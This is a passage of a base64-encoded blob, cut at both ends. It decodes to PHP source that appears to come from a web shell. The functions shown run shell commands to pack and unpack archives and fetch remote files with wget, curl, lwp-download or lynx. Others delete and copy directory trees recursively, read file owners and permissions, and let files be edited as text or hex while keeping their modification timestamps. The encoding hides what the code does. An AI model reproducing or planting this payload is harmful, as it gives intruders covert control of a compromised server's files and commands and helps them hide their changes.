wQXJjaGl2ZSIpKXsKCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCWlmKCEkemlwLT5vcGVuKCRhcmNoaXZlLCAxKSkgcmV0dXJuICRzdGF0dXM7CgoJCQlpZighaXNfYXJyYXkoJGZpbGVzKSkgJGZpbGVzID0gYXJyYXkoJGZpbGVzKTsKCQkJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpewoJCQkJJGZpbGUgPSBzdHJfcmVwbGFjZShnZXRfY3dkKCksICcnLCAkZmlsZSk7CgkJCQkkZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGZpbGUpOwoJCQkJaWYoaXNfZGlyKCRmaWxlKSl7CgkJCQkJJGZpbGVzSXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZpbGUpLCAxKTsKCQkJCQlmb3JlYWNoKCRmaWxlc0l0ZXJhdG9yIGFzICRpdGVyYXRvcil7CgkJCQkJCSRpdGVyYXRvciA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGl0ZXJhdG9yKTsKCQkJCQkJaWYoaW5fYXJyYXkoc3Vic3RyKCRpdGVyYXRvciwgc3RycnBvcygkaXRlcmF0b3IsICcvJykrMSksIGFycmF5KCcuJywgJy4uJykpKSBjb250aW51ZTsKCgkJCQkJCWlmKGlzX2RpcigkaXRlcmF0b3IpKSAkemlwLT5hZGRFbXB0eURpcihzdHJfcmVwbGFjZSgkZmlsZS4nLycsICcnLCAkaXRlcmF0b3IuJy8nKSk7CgkJCQkJCWVsc2UgaWYoaXNfZmlsZSgkaXRlcmF0b3IpKSAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRmaWxlLicvJywgJycsICRpdGVyYXRvciksIHJlYWRfZmlsZSgkaXRlcmF0b3IpKTsKCQkJCQl9CgkJCQl9CgkJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJGZpbGUpLCByZWFkX2ZpbGUoJGZpbGUpKTsKCQkJfQoJCQlpZigkemlwLT5nZXRTdGF0dXNTdHJpbmcoKSE9PWZhbHNlKSAkc3RhdHVzID0gdHJ1ZTsKCQkJJHppcC0+Y2xvc2UoKTsKCQl9CgkJcmV0dXJuICRzdGF0dXM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2NvbXByZXNzJykpewoJZnVuY3Rpb24gY29tcHJlc3MoJHR5cGUsICRhcmNoaXZlLCAkZmlsZXMpewoJCWlmKCFpc19hcnJheSgkZmlsZXMpKSAkZmlsZXMgPSBhcnJheSgkZmlsZXMpOwoJCWlmKCR0eXBlPT0nemlwJyl7CgkJCWlmKHppcCgkZmlsZXMsICRhcmNoaXZlKSkgcmV0dXJuIHRydWU7CgkJCWVsc2UgcmV0dXJuIGZhbHNlOwoJCX0KCQllbHNlaWYoKCR0eXBlPT0ndGFyJyl8fCgkdHlwZT09J3Rhcmd6JykpewoJCQkkYXJjaGl2ZSA9IGJhc2VuYW1lKCRhcmNoaXZlKTsKCgkJCSRsaXN0c0Jhc2VuYW1lID0gYXJyYXlfbWFwKCJiYXNlbmFtZSIsICRmaWxlcyk7CgkJCSRsaXN0cyA9IGFycmF5X21hcCgid3JhcF93aXRoX3F1b3RlcyIsICRsaXN0c0Jhc2VuYW1lKTsKCgkJCWlmKCR0eXBlPT0ndGFyJykgZXhlY3V0ZSgidGFyIGNmIFwiIi4kYXJjaGl2ZS4iXCIgIi5pbXBsb2RlKCIgIiwgJGxpc3RzKSk7CgkJCWVsc2VpZigkdHlwZT09J3Rhcmd6JykgZXhlY3V0ZSgidGFyIGN6ZiBcIiIuJGFyY2hpdmUuIlwiICIuaW1wbG9kZSgiICIsICRsaXN0cykpOwoKCQkJaWYoaXNfZmlsZSgkYXJjaGl2ZSkpIHJldHVybiB0cnVlOwoJCQllbHNlIHJldHVybiBmYWxzZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvbXByZXNzJykpewoJZnVuY3Rpb24gZGVjb21wcmVzcygkdHlwZSwgJGFyY2hpdmUsICRwYXRoKXsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZihpc19kaXIoJHBhdGgpKXsKCQkJY2hkaXIoJHBhdGgpOwoJCQlpZigkdHlwZT09J3VuemlwJyl7CgkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkJCQkJJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CgkJCQkJJHRhcmdldCA9ICRwYXRoLmJhc2VuYW1lKCRhcmNoaXZlLCIuemlwIik7CgkJCQkJaWYoJHppcC0+b3BlbigkYXJjaGl2ZSkpewoJCQkJCQlpZighaXNfZGlyKCR0YXJnZXQpKSBta2RpcigkdGFyZ2V0KTsKCQkJCQkJaWYoJHppcC0+ZXh0cmFjdFRvKCR0YXJnZXQpKSAkc3RhdHVzID0gdHJ1ZTsKCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQkJZWxzZWlmKCR0eXBlPT0ndW50YXInKXsKCQkJCSR0YXJnZXQgPSBiYXNlbmFtZSgkYXJjaGl2ZSwiLnRhciIpOwoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeGYgXCIiLmJhc2VuYW1lKCRhcmNoaXZlKS4iXCIgLUMgXCIiLiR0YXJnZXQuIlwiIik7CgkJCQkkYWZ0ZXIgPSBjb3VudChnZXRfYWxsX2ZpbGVzKCR0YXJnZXQpKTsKCQkJCWlmKCRiZWZvcmUhPSRhZnRlcikgJHN0YXR1cyA9IHRydWU7CgoJCQl9CgkJCWVsc2VpZigkdHlwZT09J3VudGFyZ3onKXsKCQkJCSR0YXJnZXQgPSAiIjsKCQkJCWlmKHN0cnBvcyhzdHJ0b2xvd2VyKCRhcmNoaXZlKSwgIi50YXIuZ3oiKSE9PWZhbHNlKSAkdGFyZ2V0ID0gYmFzZW5hbWUoJGFyY2hpdmUsIi50YXIuZ3oiKTsKCQkJCWVsc2VpZihzdHJwb3Moc3RydG9sb3dlcigkYXJjaGl2ZSksICIudGd6IikhPT1mYWxzZSkgJHRhcmdldCA9IGJhc2VuYW1lKCRhcmNoaXZlLCIudGd6Iik7CgoJCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCQkkYmVmb3JlID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlleGVjdXRlKCJ0YXIgeHpmIFwiIi5iYXNlbmFtZSgkYXJjaGl2ZSkuIlwiIC1DIFwiIi4kdGFyZ2V0LiJcIiIpOwoJCQkJJGFmdGVyID0gY291bnQoZ2V0X2FsbF9maWxlcygkdGFyZ2V0KSk7CgkJCQlpZigkYmVmb3JlIT0kYWZ0ZXIpICRzdGF0dXMgPSB0cnVlOwoJCQl9CgkJfQoJCXJldHVybiAkc3RhdHVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkb3dubG9hZCcpKXsKCWZ1bmN0aW9uIGRvd25sb2FkKCR1cmwgLCRzYXZlYXMpewoJCWlmKCFwcmVnX21hdGNoKCIvW2Etel0rOlwvXC8uKy8iLCR1cmwpKSByZXR1cm4gZmFsc2U7CgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJHVybCk7CgoJCWlmKCRjb250ZW50ID0gcmVhZF9maWxlKCR1cmwpKXsKCQkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgdW5saW5rKCRzYXZlYXMpOwoJCQlpZih3cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCgkJJGJ1ZmYgPSBleGVjdXRlKCJ3Z2V0ICIuJHVybC4iIC1PICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgoJCSRidWZmID0gZXhlY3V0ZSgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwoJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwoKCQkkYnVmZiA9IGV4ZWN1dGUoImx3cC1kb3dubG9hZCAiLiR1cmwuIiAiLiRzYXZlYXMpOwoJCWlmKGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwoKCQkkYnVmZiA9IGV4ZWN1dGUoImx5bnggLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CgkJaWYoaXNfZmlsZSgkc2F2ZWFzKSkgcmV0dXJuIHRydWU7CgoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVwZXJtcycpKXsKCWZ1bmN0aW9uIGdldF9maWxlcGVybXMoJGZpbGUpewoJCWlmKCRwZXJtcyA9IEBmaWxlcGVybXMoJGZpbGUpKXsKCQkkZmxhZyA9ICd1JzsKCQlpZigoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApJGZsYWcgPSAncyc7CgkJZWxzZWlmKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkkZmxhZyA9ICdsJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSRmbGFnID0gJy0nOwoJCWVsc2VpZigoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApJGZsYWcgPSAnYic7CgkJZWxzZWlmKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkkZmxhZyA9ICdkJzsKCQllbHNlaWYoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSRmbGFnID0gJ2MnOwoJCWVsc2VpZigoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApJGZsYWcgPSAncCc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwNDAwKT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAyMDApPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDEwMCk/ICd4JzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDQwKT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMjApPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAxMCk/ICd4JzonLSc7CgkJJGZsYWcgLj0gKCRwZXJtcyAmIDAwMDA0KT8gJ3InOictJzsKCQkkZmxhZyAuPSAoJHBlcm1zICYgMDAwMDIpPyAndyc6Jy0nOwoJCSRmbGFnIC49ICgkcGVybXMgJiAwMDAwMSk/ICd4JzonLSc7CgkJcmV0dXJuICRmbGFnOwoJCX0KCQllbHNlIHJldHVybiAiPz8/Pz8/Pz8/Pz8iOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdmb3JtYXRfYml0JykpewoJZnVuY3Rpb24gZm9ybWF0X2JpdCgkc2l6ZSl7CgkJJGJhc2UgPSBsb2coJHNpemUpIC8gbG9nKDEwMjQpOwoJCSRzdWZmaXhlcyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwoJCXJldHVybiByb3VuZChwb3coMTAyNCwgJGJhc2UgLSBmbG9vcigkYmFzZSkpLDIpLiIgIi4kc3VmZml4ZXNbZmxvb3IoJGJhc2UpXTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVzaXplJykpewoJZnVuY3Rpb24gZ2V0X2ZpbGVzaXplKCRmaWxlKXsKCQkkc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZSk7CgkJaWYoJHNpemUhPT1mYWxzZSl7CgkJCWlmKCRzaXplPD0wKSByZXR1cm4gMDsKCQkJcmV0dXJuIGZvcm1hdF9iaXQoJHNpemUpOwoJCX0KCQllbHNlIHJldHVybiAiPz8/IjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVtdGltZScpKXsKCWZ1bmN0aW9uIGdldF9maWxlbXRpbWUoJGZpbGUpewoJCXJldHVybiBAZGF0ZSgiZC1NLVkgSDppOnMiLCBmaWxlbXRpbWUoJGZpbGUpKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X2ZpbGVvd25lcicpKXsKCWZ1bmN0aW9uIGdldF9maWxlb3duZXIoJGZpbGUpewoJCSRvd25lciA9ICI/Oj8iOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7CgkJCSRuYW1lID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRmaWxlKSk7CgkJCSRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZmlsZSkpOwoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI6Ii4kZ3JvdXBbJ25hbWUnXTsKCQl9CgkJcmV0dXJuICRvd25lcjsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygncm1kaXJzJykpewoJZnVuY3Rpb24gcm1kaXJzKCRkaXIsICRjb3VudGVyID0gMCl7CgkJaWYoaXNfZGlyKCRkaXIpKSAkZGlyID0gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZigkZGggPSBvcGVuZGlyKCRkaXIpKXsKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJJGYgPSAkZGlyLiRmOwoJCQkJCWlmKEBpc19kaXIoJGYpKSAkY291bnRlciArPSBybWRpcnMoJGYpOwoJCQkJCWVsc2V7CgkJCQkJCWlmKHVubGluaygkZikpICRjb3VudGVyKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKCRkaCk7CgkJCWlmKHJtZGlyKCRkaXIpKSAkY291bnRlcisrOzsKCQl9CgkJcmV0dXJuICRjb3VudGVyOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdjb3B5cycpKXsKCWZ1bmN0aW9uIGNvcHlzKCRzb3VyY2UgLCAkdGFyZ2V0ICwkYz0wKXsKCQkkc291cmNlID0gcmVhbHBhdGgoJHNvdXJjZSkuRElSRUNUT1JZX1NFUEFSQVRPUjsKCQlpZigkZGggPSBvcGVuZGlyKCRzb3VyY2UpKXsKCQkJaWYoIWlzX2RpcigkdGFyZ2V0KSkgbWtkaXIoJHRhcmdldCk7CgkJCSR0YXJnZXQgPSByZWFscGF0aCgkdGFyZ2V0KS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoKCQkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsKCQkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7CgkJCQkJaWYoaXNfZGlyKCRzb3VyY2UuJGYpKXsKCQkJCQkJY29weXMoJHNvdXJjZS4kZiwgJHRhcmdldC4kZiwgJGMpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQlpZihjb3B5KCRzb3VyY2UuJGYsICR0YXJnZXQuJGYpKSAkYysrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQljbG9zZWRpcigkZGgpOwoJCX0KCQlyZXR1cm4gJGM7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9hbGxfZmlsZXMnKSl7CglmdW5jdGlvbiBnZXRfYWxsX2ZpbGVzKCRwYXRoKXsKCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKS5ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCSRmaWxlcyA9IGdsb2IoJHBhdGguJyonKTsKCQlmb3IoJGkgPSAwOyAkaTxjb3VudCgkZmlsZXMpOyAkaSsrKXsKCQkJaWYoaXNfZGlyKCRmaWxlc1skaV0pKXsKCQkJCSRzdWJkaXIgPSBnbG9iKCRmaWxlc1skaV0uRElSRUNUT1JZX1NFUEFSQVRPUi4nKicpOwoJCQkJaWYoaXNfYXJyYXkoJGZpbGVzKSAmJiBpc19hcnJheSgkc3ViZGlyKSkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGZpbGVzLCAkc3ViZGlyKTsKCQkJfQoJCX0KCQlyZXR1cm4gJGZpbGVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdyZWFkX2ZpbGUnKSl7CglmdW5jdGlvbiByZWFkX2ZpbGUoJGZpbGUpewoJCSRjb250ZW50ID0gZmFsc2U7CgkJaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CgkJCSRjb250ZW50ID0gIiI7CgkJCXdoaWxlKCFmZW9mKCRmaCkpewoJCQkgICRjb250ZW50IC49IGZyZWFkKCRmaCwgODE5Mik7CgkJCX0KCQl9CgkJcmV0dXJuICRjb250ZW50OwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCd3cml0ZV9maWxlJykpewoJZnVuY3Rpb24gd3JpdGVfZmlsZSgkZmlsZSwgJGNvbnRlbnQpewoJCWlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpewoJCQlpZihmd3JpdGUoJGZoLCAkY29udGVudCkhPT1mYWxzZSkgcmV0dXJuIHRydWU7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygndmlld19maWxlJykpewoJZnVuY3Rpb24gdmlld19maWxlKCRmaWxlLCAkdHlwZSwgJHByZXNlcnZlVGltZXN0YW1wPSd0cnVlJyl7CgkJJG91dHB1dCA9ICIiOwoJCWlmKGlzX2ZpbGUoJGZpbGUpKXsKCQkJJGRpciA9IGRpcm5hbWUoJGZpbGUpOwoKCQkJJG93bmVyID0gIiI7CgkJCWlmKCFpc193aW4oKSl7CgkJCQkkb3duZXIgPSAiPHRyPjx0ZD5Pd25lcjwvdGQ+PHRkPiIuZ2V0X2ZpbGVvd25lcigkZmlsZSkuIjwvdGQ+PC90cj4iOwoJCQl9CgoJCQkkaW1hZ2VfaW5mbyA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOwoJCQkkbWltZV9saXN0ID0gZ2V0X3Jlc291cmNlKCdtaW1lJyk7CgkJCSRtaW1lID0gIiI7CgkJCSRmaWxlX2V4dF9wb3MgPSBzdHJycG9zKCRmaWxlLCAiLiIpOwoJCQlpZigkZmlsZV9leHRfcG9zIT09ZmFsc2UpewoJCQkJJGZpbGVfZXh0ID0gdHJpbShzdWJzdHIoJGZpbGUsICRmaWxlX2V4dF9wb3MpLCIuIik7CgkJCQlpZihwcmVnX21hdGNoKCIvKFteXHNdKylcIC4qXGIiLiRmaWxlX2V4dC4iXGIuKi9pIiwgJG1pbWVfbGlzdCwgJHJlcykpewoJCQkJCSRtaW1lID0gJHJlc1sxXTsKCQkJCX0KCQkJfQoJCQlpZigkdHlwZT09ImF1dG8iKXsKCQkJCWlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKSkgJHR5cGUgPSAnaW1hZ2UnOwoJCQkJLy9lbHNlaWYoc3RydG9sb3dlcihzdWJzdHIoJGZpbGUsLTMsMykpID09ICJwaHAiKSAkdHlwZSA9ICJjb2RlIjsKCQkJCWVsc2VpZighZW1wdHkoJG1pbWUpKSAkdHlwZSA9ICJtdWx0aW1lZGlhIjsKCQkJCWVsc2UgJHR5cGUgPSAicmF3IjsKCQkJfQoKCQkJJGNvbnRlbnQgPSAiIjsKCQkJaWYoJHR5cGU9PSJjb2RlIil7CgkJCQkkaGxfYXJyID0gYXJyYXkoCgkJCQkJCQkiaGxfZGVmYXVsdCI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuZGVmYXVsdCcpLAoJCQkJCQkJImhsX2tleXdvcmQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmtleXdvcmQnKSwKCQkJCQkJCSJobF9zdHJpbmciPT4gaW5pX2dldCgnaGlnaGxpZ2h0LnN0cmluZycpLAoJCQkJCQkJImhsX2h0bWwiPT4gaW5pX2dldCgnaGlnaGxpZ2h0Lmh0bWwnKSwKCQkJCQkJCSJobF9jb21tZW50Ij0+IGluaV9nZXQoJ2hpZ2hsaWdodC5jb21tZW50JykKCQkJCQkJCSk7CgkJCQkKCQkJCQoJCQkJJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKHJlYWRfZmlsZSgkZmlsZSksdHJ1ZSk7CgkJCQlmb3JlYWNoKCRobF9hcnIgYXMgJGs9PiR2KXsKCQkJCQkkY29udGVudCA9IHN0cl9yZXBsYWNlKCI8Zm9udCBjb2xvcj1cIiIuJHYuIlwiPiIsICI8Zm9udCBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7CgkJCQkJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiPHNwYW4gc3R5bGU9XCJjb2xvcjogIi4kdi4iXCI+IiwgIjxzcGFuIGNsYXNzPSciLiRrLiInPiIsICRjb250ZW50KTsKCQkJCX0KCQkJfQoJCQllbHNlaWYoJHR5cGU9PSJpbWFnZSIpewoJCQkJJHdpZHRoID0gKGludCkgJGltYWdlX2luZm9bMF07CgkJCQkkaGVpZ2h0ID0gKGludCkgJGltYWdlX2luZm9bMV07CgkJCQkkaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3BhbiBjbGFzcz0nc3Ryb25nJz4oPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz4pPC9zcGFuPjxicj4KCQkJCQlJbWFnZSBTaXplID0gPHNwYW4gY2xhc3M9J3N0cm9uZyc+KCA8L3NwYW4+Ii4kd2lkdGguIiB4ICIuJGhlaWdodC4iPHNwYW4gY2xhc3M9J3N0cm9uZyc+ICk8L3NwYW4+PGJyPiI7CgkJCQlpZigkd2lkdGggPiA4MDApewoJCQkJCSR3aWR0aCA9IDgwMDsKCQkJCQkkaW1nbGluayA9ICI8cD48YSBpZD0ndmlld0Z1bGxzaXplJz4KCQkJCQk8c3BhbiBjbGFzcz0nc3Ryb25nJz5bIDwvc3Bhbj5WaWV3IEZ1bGwgU2l6ZTxzcGFuIGNsYXNzPSdzdHJvbmcnPiBdPC9zcGFuPjwvYT48L3A+IjsKCQkJCX0KCQkJCWVsc2UgJGltZ2xpbmsgPSAiIjsKCgkJCQkkY29udGVudCA9ICI8Y2VudGVyPiIuJGltYWdlX2luZm9faC4iPGJyPiIuJGltZ2xpbmsuIgoJCQkJCTxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J3dpZHRoOiIuJHdpZHRoLiJweDsnIHNyYz0nZGF0YToiLiRpbWFnZV9pbmZvWydtaW1lJ10uIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpLiInIGFsdD0nIi4kZmlsZS4iJz48L2NlbnRlcj4KCSI7CgoJCQl9CgkJCWVsc2VpZigkdHlwZT09Im11bHRpbWVkaWEiKXsKCQkJCSRjb250ZW50ID0gIjxjZW50ZXI+CgkJCQkJCQk8dmlkZW8gY29udHJvbHM+CgkJCQkJCQk8c291cmNlIHNyYz0nJyB0eXBlPSciLiRtaW1lLiInPgoKCQkJCQkJCTwvdmlkZW8+CgkJCQkJCQk8cD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibXVsdGltZWRpYSgnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInKTtcIj5Mb2FkIE11bHRpbWVkaWEgRmlsZTwvc3Bhbj48L3A+CgkJCQkJCQk8L2NlbnRlcj4iOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImVkaXQiKXsKCQkJCSRwcmVzZXJ2ZWNib3ggPSAoJHByZXNlcnZlVGltZXN0YW1wPT0ndHJ1ZScpPyAiIGNCb3hTZWxlY3RlZCI6IiI7CgkJCQkkY29udGVudCA9ICI8dGFibGUgaWQ9J2VkaXRUYmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlZGl0RmlsZW5hbWUnIGNsYXNzPSdjb2xTcGFuJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGZpbGUpLiInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdlZGl0X3NhdmVfcmF3Jyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImVkaXRfc2F2ZV9yYXcoKTtcIj5zYXZlPC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSd2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Jz48ZGl2IGNsYXNzPSdjQm94Ii4kcHJlc2VydmVjYm94LiInPjwvZGl2PjxzcGFuPnByZXNlcnZlIG1vZGlmaWNhdGlvbiB0aW1lc3RhbXA8L3NwYW4+PHNwYW4gaWQ9J2VkaXRSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J2VkaXRJbnB1dCcgc3BlbGxjaGVjaz0nZmFsc2UnIG9ua2V5ZG93bj1cInRyYXBfY3RybF9lbnRlcih0aGlzLCBldmVudCwgJ2VkaXRfc2F2ZV9yYXcnKTtcIj4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQl9CgkJCWVsc2VpZigkdHlwZT09ImhleCIpewoJCQkJJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsKCQkJCSRjb250ZW50ID0gIjx0YWJsZSBpZD0nZWRpdFRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2VkaXRGaWxlbmFtZScgY2xhc3M9J2NvbFNwYW4nIHZhbHVlPSciLmh0bWxfc2FmZSgkZmlsZSkuIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2VkaXRfc2F2ZV9oZXgnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZWRpdF9zYXZlX2hleCgpO1wiPnNhdmU8L3NwYW4+PC90ZD48dGQgc3R5bGU9J3ZlcnRpY2FsLWFsaWduOm1pZGRsZTsnPjxkaXYgY2xhc3M9J2NCb3giLiRwcmVzZXJ2ZWNib3guIic+PC9kaXY+PHNwYW4+cHJlc2VydmUgbW9kaWZpY2F0aW9uIHRpbWVzdGFtcDwvc3Bhbj48c3BhbiBpZD0nZWRpdEhleFJlc3VsdCc+PC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBpZD0nZWRpdElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgb25rZXlkb3duPVwidHJhcF9jdHJsX2VudGVyKHRoaXMsIGV2ZW50LCAnZWRpdF9zYXZlX2hleCcpO1wiPiIuYmluMmhleChyZWFkX2ZpbGUoJGZpbGUpKS4iPC90ZXh0YXJlYT48L3RkPjwvdHI+PC90YWJsZT4iOwoJCQl9CgkJCWVsc2UgJGNvbnRlbnQgPSAiPHByZT4iLmh0bWxfc2FmZShyZWFkX2ZpbGUoJGZpbGUpKS4iPC9wcmU+IjsKCgoKCQkJJG91dHB1dCAuPSAiCgk8dGFibGUgaWQ9J3ZpZXdGaWxlJyBjbGFzcz0nYm94dGJsJz4KCTx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+RmlsZW5hbWU8L3RkPjx0ZD4iLmh0bWxfc2FmZSgkZmlsZSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIuZ2V0X2ZpbGVzaXplKCRmaWxlKS4iICgiLmZpbGVzaXplKCRmaWxlKS4iKTwvdGQ+PC90cj4KCSIuJG93bmVyLiIKCTx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X2ZpbGVwZXJtcygkZmlsZSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4KCTx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPgoJPHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+C